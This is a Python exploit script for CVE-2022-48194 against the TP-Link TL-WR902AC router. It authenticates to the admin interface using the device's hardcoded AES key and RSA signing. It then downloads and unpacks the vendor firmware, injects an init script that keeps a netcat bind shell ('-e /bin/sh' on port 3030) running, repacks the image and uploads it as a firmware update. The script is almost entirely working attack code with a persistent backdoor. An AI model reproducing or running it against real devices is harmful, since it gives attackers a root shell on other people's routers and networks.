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# !/usr/bin/python3 # Exploit Title: TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated) # Exploit Author: Tobias Müller # Date: 2022-12-01 # Version: TL-WR902AC(EU)_V3_0.9.1 Build 220329 # Vendor Homepage: https://www.tp-link.com/ # Tested On: TP-Link TL-WR902AC # Vulnerability Description: Remote Code Execution via importing malicious firmware file # CVE: CVE-2022-48194 # Technical Details: https://github.com/otsmr/internet-of-vulnerable-things TARGET_HOST = "192.168.0.1" ADMIN_PASSWORD = "admin" TP_LINK_FIRMWARE_DOWNLOAD = "https://static.tp-link.com/upload/firmware/2022/202208/20220803/TL-WR902AC(EU)_V3_220329.zip" import requests import os import glob import subprocess import base64, os, hashlib from Crypto.Cipher import AES, PKCS1_v1_5# pip install pycryptodome from Crypto.PublicKey import RSA from Crypto.Util.Padding import pad for program in ["binwalk", "fakeroot", "unsquashfs", "mksquashfs"]: if "not found" in subprocess.check_output(["which", program]).decode(): print(f"[!] need {program} to run") exit(1) class WebClient(object): def __init__(self, host, password): self.host = "http://" + host self.password = password self.password_hash = hashlib.md5(('admin%s' % password.encode('utf-8')).encode('utf-8')).hexdigest() self.aes_key = "7765636728821987" self.aes_iv = "8775677306058909" self.session = requests.Session() crypto_data = self.cgi_basic("?8", "[/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n").text self.sign_rsa_e = int(crypto_data.split("\n")[1].split('"')[1], 16) self.sign_rsa_n = int(crypto_data.split("\n")[2].split('"')[1], 16) self.seq= int(crypto_data.split("\n")[3].split('"')[1]) self.jsessionid = self.get_jsessionid() def get_jsessionid(self): post_data = f"8\r\n[/cgi/login#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\nusername=admin\r\npassword={self.password}\r\n" self.get_encrypted_request_data(post_data, True) return self.session.cookies["JSESSIONID"] def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext): cipher = AES.new(aes_key.encode('utf-8'), AES.MODE_CBC, iv=aes_iv.encode('utf-8')) plaintext_padded = pad(plaintext, aes_block_size) return cipher.encrypt(plaintext_padded) def rsa_encrypt(self, n, e, plaintext): public_key = RSA.construct((n, e)).publickey() encryptor = PKCS1_v1_5.new(public_key) block_size = int(public_key.n.bit_length() / 8) - 11 encrypted_text = '' for i in range(0, len(plaintext), block_size): encrypted_text += encryptor.encrypt(plaintext[i:i + block_size]).hex() return encrypted_text def get_encrypted_request_data(self, post_data, is_login: bool): encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, post_data.encode('utf-8')) encrypted_data = base64.b64encode(encrypted_data).decode() self.seq += len(encrypted_data) signature = f"h={self.password_hash}&s={self.seq}" if is_login: signature = f"key={self.aes_key}&iv={self.aes_iv}&" + signature encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature.encode('utf-8')) body = f"sign={encrypted_signature}\r\ndata={encrypted_data}\r\n" return self.cgi_basic("_gdpr", body) def cgi_basic(self, url: str, body: str): res = self.session.post(f"{self.host}/cgi{url}", data=body, headers={ "Referer": "http://192.168.0.1/" }) if res.status_code != 200: print(res.text) raise ValueError("router not reachable") return res def cmd(command): print("[*] running " + command) os.system(command) def build_backdoor(): if os.path.isdir("./tp_tmp"): cmd("rm -r -f ./tp_tmp") os.mkdir("./tp_tmp") os.chdir('./tp_tmp') print("[*] downloading firmware") res = requests.get(TP_LINK_FIRMWARE_DOWNLOAD) with open("firmware.zip", "wb") as f: f.write(res.content) print("[*] downloading netcat") #res = requests.get(NETCAT_PRECOMPILED_FILE) #with open("netcat", "wb") as f: #f.write(res.content) if os.path.isfile("netcat"): print("[!] netcat not found") exit() cmd('unzip firmware.zip') filename = glob.glob("TL-*.bin")[0] cmd(f"mv '{filename}' firmware.bin") cmd('binwalk --dd=".*" firmware.bin') cmd('fakeroot -s f.dat unsquashfs -d squashfs-root _firmware.bin.extracted/160200') with open("./squashfs-root/etc/init.d/back", "w") as f: f.write(""" #!/bin/sh while true; do netcat -l -p 3030 -e /bin/sh sleep 5 done """) cmd("chmod +x ./squashfs-root/etc/init.d/back") with open("./squashfs-root/etc/init.d/rcS", "r+") as f: content = f.read() content = content.replace("cos &", "/etc/init.d/back &\ncos &") f.write(content) cmd("cp netcat ./squashfs-root/usr/bin/") cmd("chmod +x ./squashfs-root/usr/bin/netcat") cmd("fakeroot -i f.dat mksquashfs squashfs-root backdoor.squashfs -comp xz -b 262144") size = subprocess.check_output(["file", "backdoor.squashfs"]).decode() offset = int(size.split(" ")[9]) + 1442304 cmd("dd if=firmware.bin of=backdoor.bin bs=1 count=1442304") cmd("dd if=backdoor.squashfs of=backdoor.bin bs=1 seek=1442304") cmd(f"dd if=firmware.bin of=backdoor.bin bs=1 seek={offset} skip={offset}") os.chdir('../') cmd(f"mv ./tp_tmp/backdoor.bin .") cmd("rm -r -f ./tp_tmp") def upload_backdoor(): wc = WebClient(TARGET_HOST, ADMIN_PASSWORD) print("[*] uploading backdoor") files = { 'filename': open('backdoor.bin','rb') } re_upload = requests.post("http://" + TARGET_HOST + "/cgi/softup", cookies={ "JSESSIONID": wc.jsessionid }, headers={ "Referer": "http://192.168.0.1/mainFrame.htm" }, files=files) if re_upload.status_code != 200 or "OK" not in re_upload.text: print("[!] error") exit(1) print("[*] success!") print("\nWait for router restart, then run:") print("nc 192.168.0.1 3030") build_backdoor() upload_backdoor() |
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